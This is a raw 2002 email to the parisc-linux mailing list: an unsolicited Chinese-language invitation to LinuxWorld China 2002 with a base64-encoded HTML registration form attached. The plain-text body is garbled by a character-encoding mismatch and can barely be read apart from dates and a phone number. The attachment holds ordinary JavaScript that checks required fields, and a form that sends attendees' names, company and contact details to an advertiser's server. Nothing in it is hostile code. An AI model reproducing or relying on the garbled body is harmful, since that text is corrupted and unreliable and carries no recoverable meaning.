	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 09:40:26 -0600 (MDT)
X-Priority: 3
X-Mailer: JiXing mailer V1.73 Design By JohnnieHuang
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15787

This is a multipart MIME message.

--= Multipart Boundary 0812022338
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit

      LinuxWorld China 2002ֻ뺯ѣ 


    LinuxWorld Chinaչޣ޹˾죬õżҵȨȫ֧֡

LinuxWorld ChinaּڴٽϢ̡רҵʿҵûLinuxӦá񼰹ĽӦгľ޴ǱƶLinuxϵͳLinuxƽ̨ĸӦĿԼڹ񾭼øڵĹ㷺ʹãƽҵϢ衣

ƣLinuxWorld China 2002

ʱ/ص㣺200293գ   йƵ
200295գ Ϻ  ʹ󶼴󷹵

⣺ ʵҵLinuxӦ

ʽ ֻ+Ʒչʾ

ֻ᣺ Ϊݽ۴ᡢרҵ󲿷֣ۼ50ೡ漰ɹѵȸ档

Ʒչʾ չʾҵµӲƷֱû̡רҵȽЧͨ

ѯ绰(010)83152644-127

򿪸еıдǽдϢȷϺ볡ȯڴ룡 

    >>Ϣĸе 

--= Multipart Boundary 0812022338
Content-Type: application/octet-stream;
	name=".htm"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename=".htm"

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5MaW51eFdvcmxkIENoaW5hIDIwMDLR
0MzWu+HR+8fruq88L3RpdGxlPg0KPE1FVEEgSFRUUC1FUVVJVj1Db250ZW50
LVR5cGUgQ09OVEVOVD0idGV4dC9odG1sOyBjaGFyc2V0PWdiMjMxMiI+DQo8
U1RZTEUgVFlQRT0idGV4dC9jc3MiPg0KPCEtLQ0KDQpCT0RZew0KICAgIEZP
TlQtRkFNSUxZOiDLzszlOw0KICAgIEZPTlQtU0laRTogOXB0Ow0KICAgIENP
TE9SOiMwMDAwMDANCn0NCi5wdDkgeyBmb250LWZhbWlseTogIsvOzOUiOyBm
b250LXNpemU6IDlwdH0NCg0KUA0Kew0KICAgIEZPTlQtRkFNSUxZOiAiy87M
5SI7IEZPTlQtU0laRTogOXB0OyBDT0xPUjojMDAwMDAwDQp9DQpIOSxURCxT
RUxFQ1QNCnsNCiAgICBGT05ULUZBTUlMWTogIsvOzOUiOyBGT05ULVNJWkU6
IDlwdA0KfQ0KDQpBOmxpbmsgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmV9DQpBOnZpc2l0ZWQgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmU7IGZvbnQtY29sb3I9Ymx1ZX0NCkE6aG92ZXIgeyAgZm9udC1mYW1p
bHk6ICLLzszlIjsgZm9udC1zaXplOiA5UFQ7Y29sb3I6I0ZENEEwNDsgIHRl
eHQtZGVjb3JhdGlvbjogbm9uZX0NCg0KLS0+DQoNCjwvc3R5bGU+DQoNCjxT
Q1JJUFQgbGFuZ3VhZ2U9amF2YXNjcmlwdD4gIA0KDQpmdW5jdGlvbiBWZXJp
ZnlJbnB1dCgpICANCnsgIA0KIA0KICAgIHZhciBuZXdEYXRlT2JqID0gbmV3
IERhdGUoKSAgDQoNCiAgICBzdHJGaXJzdG5hbWUgPSBkb2N1bWVudC5mcm1V
c2VySW5mby5GaXJzdG5hbWUudmFsdWU7ICANCiAgICBpZiAoc3RyRmlyc3Ru
YW1lID09ICIiKSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE
+rXE0NXD+yEgIik7ICANCiAgICAgICAgZG9jdW1lbnQuZnJtVXNlckluZm8u
Rmlyc3RuYW1lLmZvY3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZhbHNlOyAg
DQogICAgfSAgDQoJDQoJDQogCWlmIChkb2N1bWVudC5mcm1Vc2VySW5mby50
aXRsZS5zZWxlY3RlZEluZGV4ID09IDApDQoJCXsNCgkJYWxlcnQoIsfr0aHU
8cT6tcTQ1LHwIik7DQoJCWRvY3VtZW50LmZybVVzZXJJbmZvLnRpdGxlLmZv
Y3VzKCk7DQoJCXJldHVybiBmYWxzZTsNCgkJfQ0KIA0KICAgICBzdHJqb2J0
aXRsZW5hbWUgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5qb2JfdGl0bGUudmFs
dWU7ICANCiAgICBpZiAoc3Ryam9idGl0bGVuYW1lID09ICIiKSAgDQogICAg
eyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXE0NDV/tawzvEhICIpOyAg
DQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmpvYl90aXRsZS5mb2N1
cygpOyAgDQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQ0K
CXN0cmNvbXBhbnkgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5jb21wYW55LnZh
bHVlOyAgDQogICAgaWYgKHN0cmNvbXBhbnkgPT0gIiIpICANCiAgICB7ICAN
CiAgICAgICAgYWxlcnQoIsfryuTI68T6tcS1pc67w/uzxiEgIik7ICANCiAg
ICAgICAgZG9jdW1lbnQuZnJtVXNlckluZm8uY29tcGFueS5mb2N1cygpOyAg
DQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQkNCglzdHJj
b21hZGQgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5jb21fYWRkLnZhbHVlOyAg
DQogICAgaWYgKHN0cmNvbWFkZCA9PSAiIikgIA0KICAgIHsgIA0KICAgICAg
ICBhbGVydCgix+vK5MjrxPq1xM2o0ba12Na3ISAiKTsgIA0KICAgICAgICBk
b2N1bWVudC5mcm1Vc2VySW5mby5jb21fYWRkLmZvY3VzKCk7ICANCiAgICAg
ICAgcmV0dXJuIGZhbHNlOyAgDQogICAgfSAgDQoJDQoJc3RycG9zdGNvZGUg
PSBkb2N1bWVudC5mcm1Vc2VySW5mby5wb3N0Y29kZS52YWx1ZTsgIA0KICAg
IGlmIChzdHJwb3N0Y29kZSA9PSAiIikgIA0KICAgIHsgIA0KICAgICAgICBh
bGVydCgix+vK5MjrxPq1xNPK1f6x4MLrISAiKTsgIA0KICAgICAgICBkb2N1
bWVudC5mcm1Vc2VySW5mby5wb3N0Y29kZS5mb2N1cygpOyAgDQogICAgICAg
IHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQkNCiAgCWlmIChkb2N1bWVu
dC5mcm1Vc2VySW5mby5wcm92aW5jZS5zZWxlY3RlZEluZGV4ID09IDApDQoJ
CXsNCgkJYWxlcnQoIsfr0aHU8cT6y/nU2rXEyqG33aOhIik7DQoJCWRvY3Vt
ZW50LmZybVVzZXJJbmZvLnByb3ZpbmNlLmZvY3VzKCk7DQoJCXJldHVybiBm
YWxzZTsNCgkJfQ0KDQoNCglzdHJ0ZWxlcGhvbmUgPSBkb2N1bWVudC5mcm1V
c2VySW5mby50ZWxlcGhvbmUudmFsdWU7ICANCiAgICBpZiAoc3RydGVsZXBo
b25lID09ICIiKSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE
+rXEtee7sLrFwuujoSAiKTsgIA0KICAgICAgICBkb2N1bWVudC5mcm1Vc2Vy
SW5mby50ZWxlcGhvbmUuZm9jdXMoKTsgIA0KICAgICAgICByZXR1cm4gZmFs
c2U7ICANCiAgICB9ICANCgkNCglzdHJmYXggPSBkb2N1bWVudC5mcm1Vc2Vy
SW5mby5mYXgudmFsdWU7ICANCiAgICBpZiAoc3RyZmF4ID09ICIiKSAgDQog
ICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXEtKvV5rrFwuujoSAi
KTsgIA0KICAgICAgICBkb2N1bWVudC5mcm1Vc2VySW5mby5mYXguZm9jdXMo
KTsgIA0KICAgICAgICByZXR1cm4gZmFsc2U7ICANCiAgICB9ICANCg0KCXN0
cmVtYWlsID0gZG9jdW1lbnQuZnJtVXNlckluZm8uZW1haWwudmFsdWU7ICAN
CiAgICBpZiAoc3RyZW1haWwgPT0gIiIpICANCiAgICB7ICANCiAgICAgICAg
YWxlcnQoIsfryuTI68T6tcRFLW1haWy12Na3o6EgIik7ICANCiAgICAgICAg
ZG9jdW1lbnQuZnJtVXNlckluZm8uZW1haWwuZm9jdXMoKTsgIA0KICAgICAg
ICByZXR1cm4gZmFsc2U7ICANCiAgICB9IAkNCg0KCXN0cmNvbV9tYW5hZ2Vy
ID0gZG9jdW1lbnQuZnJtVXNlckluZm8uY29tX21hbmFnZXIudmFsdWU7ICAN
CiAgICBpZiAoc3RyY29tX21hbmFnZXIgPT0gIiIpICANCiAgICB7ICANCiAg
ICAgICAgYWxlcnQoIsfryuTI68T6tcS5q8u+19y+rcDt0NXD+6OhICIpOyAg
DQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV9tYW5hZ2VyLmZv
Y3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZhbHNlOyAgDQogICAgfSAJDQoN
CglzdHJkZXBfbWFuYWdlciA9IGRvY3VtZW50LmZybVVzZXJJbmZvLmRlcF9t
YW5hZ2VyLnZhbHVlOyAgDQogICAgaWYgKHN0cmRlcF9tYW5hZ2VyID09ICIi
KSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXEsr/Dxbi6
1PDIy7XE0NXD+6OhICIpOyAgDQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJ
bmZvLmRlcF9tYW5hZ2VyLmZvY3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZh
bHNlOyAgDQogICAgfSANCglzdHJjb210eXBlMSA9IGRvY3VtZW50LmZybVVz
ZXJJbmZvLmNvbV90eXBlMS52YWx1ZTsNCgkgIA0KICAgIGlmIChkb2N1bWVu
dC5mcm1Vc2VySW5mby5kd2xiWzBdLmNoZWNrZWQpICANCiAgICB7ICAgICAg
DQoJCWlmIChzdHJjb210eXBlMSA9PSAiIikgIA0KCQkgeyAgDQogICAgICAg
CSBhbGVydCgix+vRodTxuavLvsDgsfAhICIpOyAgDQogICAgICAgIGRvY3Vt
ZW50LmZybVVzZXJJbmZvLmNvbV90eXBlMS5mb2N1cygpOyAgDQogICAgICAg
IHJldHVybiBmYWxzZTsgIA0KICAgIH0NCiAgICB9ICAgDQoNCglzdHJjb210
eXBlMiA9IGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV90eXBlMi52YWx1ZTsN
CgkgIA0KICAgIGlmIChkb2N1bWVudC5mcm1Vc2VySW5mby5kd2xiWzFdLmNo
ZWNrZWQpICANCiAgICB7ICAgICAgDQoJCWlmIChzdHJjb210eXBlMiA9PSAi
IikgIA0KCQkgeyAgDQogICAgICAgCSBhbGVydCgix+vRodTxuavLvsDgsfAh
ICIpOyAgDQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV90eXBl
Mi5mb2N1cygpOyAgDQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0N
CiAgICB9ICAgDQogICAgcmV0dXJuIHRydWU7ICAgDQp9ICANCjwvU0NSSVBU
Pg0KDQo8L2hlYWQ+DQoNCjxib2R5IGJnY29sb3I9IiNGRkZGRkYiIHRleHQ9
IiMwMDAwMDAiIGxlZnRtYXJnaW49IjAiIHRvcG1hcmdpbj0iMCI+DQoNCjx0
YWJsZSB3aWR0aD0iNTAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBj
ZWxscGFkZGluZz0iMCI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTIgaGVpZ2h0
PTQgYmdjb2xvcj0jMDAwMDAwPjwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJPHRk
IHdpZHRoPTQgYmdjb2xvcj0jMDAwMDAwPjwvdGQ+DQoJPHRkPjxpbWcgc3Jj
PWh0dHA6Ly9hZC5oZXJtZXMuY29tLmNuL2xpbnV4d29ybGQvaW1hZ2VzL2Jn
LmdpZiB3aWR0aD00OTYgaGVpZ2h0PTk5IGJvZWRlcj0wPjwvdGQ+DQoJPC90
cj4NCgk8dGQgd2lkdGg9NCBiZ2NvbG9yPSMwMDAwMDA+PC90ZD4NCgk8dGQg
YWxpZ249Y2VudGVyIGJhY2tncm91bmQ9aHR0cDovL2FkLmhlcm1lcy5jb20u
Y24vbGludXh3b3JsZC9pbWFnZXMvYmdfMC5naWY+DQoNCjx0YWJsZSB3aWR0
aD0iNDgwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGlu
Zz0iMyI+DQoJPHRyPg0KCTx0ZD4NCqGhoaFMaW51eFdvcmxkIENoaW5h08nK
wNW5sqnAwKOo0cfW3qOp09DP3rmry77W97Dso6y1w7W9wcvV/riusr/Dxbyw
0rW958iozf67+rm5tcTIq8Gm1qez1qGjPGJyPjxicj6hoaGhTGludXhXb3Js
ZCBDaGluYda81Nq02b34ufrE2s3i0MXPory8yvWzp8nMoaLXqNK1yMvKv7rN
xvPStdPDu6fU2kxpbnV4v6q3oqGi06bTw6Git/7O8bywudzA7dTL1/e3vcPm
tcS9u8H30+u6z9f3o6y/qr7y06bTw8rQs6G1xL7etPPHscGmo6zNxravTGlu
dXiy2df3z7XNs7ywu/nT2kxpbnV4xr3MqLXEuPfW1tOm08PI7bz+tcS/qrei
o6zS1Lyw1Nq5+sPxvq28w7j3uPbB7NPyxNq1xLnjt7rKudPDo6zNxr341f64
rrywxvPStdDFz6K7r72oyeihozxicj48YnI+DQoNCqGhoaE8Yj7D+7PGo7o8
L2I+oaGhoaGhTGludXhXb3JsZCBDaGluYSAyMDAyPGJyPjxicj4NCqGhoaE8
Yj7KsbzkL7XYteOjujwvYj4yMDAyxOo51MIzyNWjrCC549bdIKHxINbQufq0
877Gteo8YnI+DQqhoaGhoaGhoaGhoaGhoaGhMjAwMsTqOdTCNcjVo6wgyc+6
oyCh8SC5+rzKufO2vLTzt7m16jxicj48YnI+DQqhoaGhPGI+tPO74db3zOKj
ujwvYj4gzvHKtbXExvPStby2TGludXjTptPDPGJyPjxicj4NCqGhoaE8Yj60
87vh0M7KvaO6PC9iPiDR0MzWu+ErsvrGt9W5yr48YnI+PGJyPg0KDQqhoaGh
PGI+0dDM1rvho7o8L2I+ICAgt9bOqtb3zOLR3b2yoaLM1sLbtPO74aGi16jS
tb2y1/nI/bTzsr+31qOswNu8xjUw0+Czob2y1/mjrMTayN3J5rywvLzK9aGi
veK+9re9sLihorPJuaawuMD9t9bO9qGixeDRtbXIuPe49re9w+ahozxicj48
YnI+DQqhoaGhPGI+svrGt9W5yr6jujwvYj4JvK/W0NW5yr7StcTa1+7QwrXE
yO2hotOyvP6y+sa3o6y94r72t72wuKOs1rG909Pr08O7p6Givq3P+snMoaLX
qLzStci9+NDQ09DQp7m1zaihozxicj48YnI+DQqhoaGhPGI+sajD+9fJ0a+1
57uwo7ooMDEwKTgzMTUyNjQ0LTEyNzwvYj48YnI+PGJyPg0KoaGhoTxiPjxm
b250IGNvbG9yPSMwMTdGQjI+x+vM7tC00tTPwrGow/ux7bWlo6zO0sPHvau4
+b7dxPrM7tC0tcTQxc+it6LLzci3yM+6r6GjPGJyPg0KICAgICAgIA0KoaGh
ocbatP3XxcT6tcTIyMfpss7T66OhPC9mb250PjwvYj4NCgk8L3RkPg0KCTwv
dHI+DQoJPHRyPg0KCTx0ZD4NCjxGT1JNIGFjdGlvbj1odHRwOi8vYWQuaGVy
bWVzLmNvbS5jbi9saW51eHdvcmxkL2RlYWwucGhwIG1ldGhvZD1wb3N0IG5h
bWU9ZnJtVXNlckluZm8gb25zdWJtaXQ9InJldHVybiBWZXJpZnlJbnB1dCgp
OyI+DQo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMiIgY2VsbHNw
YWNpbmc9IjIiIHdpZHRoPSI0NjUiPg0KCQk8dHI+IA0KICAgICAgICAgICAg
ICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI3IiBjbGFzcz0idGV4dCIgd2lkdGg9
IjEyNSI+Jm5ic3A7IDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRk
IGhlaWdodD0iMjciIGNsYXNzPSJ0ZXh0IiB3aWR0aD0iMzQwIj4gDQogICAg
ICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5h
bWU9Imd6IiB2YWx1ZT0iuePW3SI+DQogICAgICAgICAgICAgICAgICAgICAg
ICC549bdIA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9
ImNoZWNrYm94IiBuYW1lPSJzaCIgdmFsdWU9IsnPuqMiPg0KICAgICAgICAg
ICAgICAgICAgICAgICAgyc+6ozwvdGQ+DQogICAgICAgICAgICAgICAgICAg
IDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0ciBjbGFzcz0idW5uYW1l
ZDEiPiANCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSIg
aGVpZ2h0PSIyNSIgY2xhc3M9InRleHQiPiANCiAgICAgICAgICAgICAgICAg
ICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij7Q1cP7o7o8Zm9udCBjb2xvcj0i
I0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAg
ICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzQw
IiBoZWlnaHQ9IjI1Ij4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5w
dXQgbWF4bGVuZ3RoPTIwIG5hbWU9Rmlyc3RuYW1lIHNpemU9IjEyIj4NCiAg
ICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
bWU9IndpZCIgdmFsdWU9InBjYm9va2NuIiBJRD0iSGlkZGVuMSI+DQogICAg
ICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l
PSJhZGlkIiB2YWx1ZT0ibGludXgwODA2IiBJRD0iSGlkZGVuMiI+DQogICAg
ICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAg
PC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAg
ICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAg
ICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPtDUsfCjujxmb250IGNvbG9y
PSIjRkYwMDAwIj4qPC9mb250PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAg
ICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIz
NDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgbmFtZT0i
dGl0bGUiIHNpemU9IjEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8
b3B0aW9uPsfr0aHU8dK7z+48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ixNAiPsTQPC9vcHRpb24+DQogICAg
ICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IsWuIj7Frjwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+DQog
ICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAg
ICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAg
ICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAg
ICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPtDQ1f7WsM7xo7o8Zm9u
dCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAg
ICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3
aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iam9iX3RpdGxlIiBtYXhsZW5ndGg9IjMwIj4N
CiAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAg
ICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAg
ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQogICAgICAgICAg
ICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+vLzK9daws8ajujwv
ZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAg
ICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAiPiANCiAgICAgICAgICAgICAg
ICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0ZWNoX3RpdGxl
IiBtYXhsZW5ndGg9IjMwIj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3Rk
Pg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAg
ICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0i
MTI1Ij4gDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJy
aWdodCI+uavLvsP7s8ajujxmb250IGNvbG9yPSIjRkYwMDAwIj4qPC9mb250
PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAg
ICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAiPiANCiAgICAgICAgICAg
ICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb21wYW55
IiBzaXplPSIzNSIgbWF4bGVuZ3RoPSI4MCI+DQogICAgICAgICAgICAgICAg
ICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAg
ICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgICA8
dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGRp
diBhbGlnbj0icmlnaHQiPs2o0ba12Na3o7o8Zm9udCBjb2xvcj0iI0ZGMDAw
MCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3Rk
Pg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzQwIj4gDQog
ICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0iY29tX2FkZCIgc2l6ZT0iMzUiIG1heGxlbmd0aD0iMTAwIj4NCiAgICAg
ICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8
L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAg
ICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQogICAgICAgICAgICAgICAg
ICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+08rV/rHgwuujujxmb250IGNv
bG9yPSIjRkYwMDAwIj4qPC9mb250PjwvZGl2Pg0KICAgICAgICAgICAgICAg
ICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRo
PSIzNDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBl
PSJ0ZXh0IiBuYW1lPSJwb3N0Y29kZSIgc2l6ZT0iNiIgbWF4bGVuZ3RoPSI2
Ij4NCiAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAg
ICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAg
ICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQogICAgICAg
ICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+yqG33aO6PGZv
bnQgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PC9kaXY+DQogICAgICAgICAg
ICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQg
d2lkdGg9IjM0MCI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVj
dCBuYW1lPSJwcm92aW5jZSIgc2l6ZT0iMSI+DQogICAgICAgICAgICAgICAg
ICAgICAgICAgIDxvcHRpb24gdmFsdWU9Isfr0aHU8dK7z+4iPsfr0aHU8dK7
z+48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlv
biB2YWx1ZT0isbG+qcrQIj6xsb6pytA8L29wdGlvbj4NCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0izOy98srQIj7M7L3yytA8
L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2
YWx1ZT0iutOxscqhIj6607GxyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iyb3O98qhIj7Jvc73yqE8L29w
dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1
ZT0ixNrDybnFIj7E2sPJucU8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iwcnE/sqhIj7BycT+yqE8L29wdGlv
bj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i
vKrB1sqhIj68qsHWyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgPG9wdGlvbiB2YWx1ZT0iutrB+r2tyqEiPrrawfq9rcqhPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsnPuqPK0CI+yc+6o8rQPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAg
ICAgICAgIDxvcHRpb24gdmFsdWU9Ir2ty9XKoSI+va3L1cqhPC9vcHRpb24+
DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ItXj
va3KoSI+1eO9rcqhPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAg
ICAgIDxvcHRpb24gdmFsdWU9IrCyu9XKoSI+sLK71cqhPC9vcHRpb24+DQog
ICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjM1Ij64
o72oyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9w
dGlvbiB2YWx1ZT0iuKO9qMqhIj69rc73yqE8L29wdGlvbj4NCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iyb22q8qhIj7Jvbar
yqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlv
biB2YWx1ZT0iutPEz8qhIj6608TPyqE8L29wdGlvbj4NCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iuv7Ez8qhIj66/sTPyqE8
L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2
YWx1ZT0iueO2q8qhIj6547aryqE8L29wdGlvbj4NCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iuePO98qhIj654873yqE8L29w
dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1
ZT0iuqPEz8qhIj66o8TPyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iy8S0qMqhIj7LxLSoyqE8L29wdGlv
bj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i
ufPW3cqhIj6589bdyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgPG9wdGlvbiB2YWx1ZT0i1MbEz8qhIj7UxsTPyqE8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0izvey
2NfU1s7H+CI+zvey2NfU1s7H+Dwvb3B0aW9uPg0KICAgICAgICAgICAgICAg
ICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLJws73yqEiPsnCzvfKoTwvb3B0
aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVl
